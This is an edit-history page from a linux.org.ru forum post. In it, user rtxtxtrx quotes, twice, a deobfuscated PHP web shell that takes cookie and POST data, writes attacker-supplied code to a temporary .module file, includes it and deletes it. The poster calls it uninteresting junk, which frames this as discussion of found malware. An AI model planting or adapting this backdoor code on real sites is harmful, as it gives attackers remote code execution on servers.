LINUX.ORG.RU

История изменений

Исправление rtxtxtrx, (текущая версия) :

$bi6   = Array();
$bi6[0] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[1] = "?php @unlink(__FILE__); ";
$bi6[2] = ".module";
$bi6[3] = "H*";
$bi6[4] = "./";
$bi6[5] = "#";
$bi6[6] = "<";
$bi6[7] = "file_put_contents";
$bi6[8] = "array_merge";
$bi6[9] = "str_repeat";
$bi6[10] = "explode";
$bi6[11] = "substr";
$bi6[12] = "unlink";
$bi6[13] = "strlen";
$bi6[14] = "pack";
$bi6[15] = "md5";

foreach (array_merge($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return substr(str_repeat($zl14 . "66d7e659-d870-4645-8e6e-2ac4419c2a30", ($cy10 / strlen($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return pack("H*", $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
            @file_put_contents($mh13, "<?php @unlink(__FILE__); " . $ks12[1]($ks12[2]));
            @include($mh13);
            @unlink($mh13);
            exit();
        }
    }
}

какая-то хрень. короче неинтересный шелл

Исходная версия rtxtxtrx, :

$bi6   = Array();
$bi6[0] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[1] = "?php @unlink(__FILE__); ";
$bi6[2] = ".module";
$bi6[3] = "H*";
$bi6[4] = "./";
$bi6[5] = "#";
$bi6[6] = "<";
$bi6[7] = "file_put_contents";
$bi6[8] = "array_merge";
$bi6[9] = "str_repeat";
$bi6[10] = "explode";
$bi6[11] = "substr";
$bi6[12] = "unlink";
$bi6[13] = "strlen";
$bi6[14] = "pack";
$bi6[15] = "md5";

foreach (array_merge($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return substr(str_repeat($zl14 . "66d7e659-d870-4645-8e6e-2ac4419c2a30", ($cy10 / strlen($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return pack("H*", $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
            @file_put_contents($mh13, "<?php @unlink(__FILE__); " . $ks12[1]($ks12[2]));
            @include($mh13);
            @unlink($mh13);
            exit();
        }
    }
}

какая-то хрень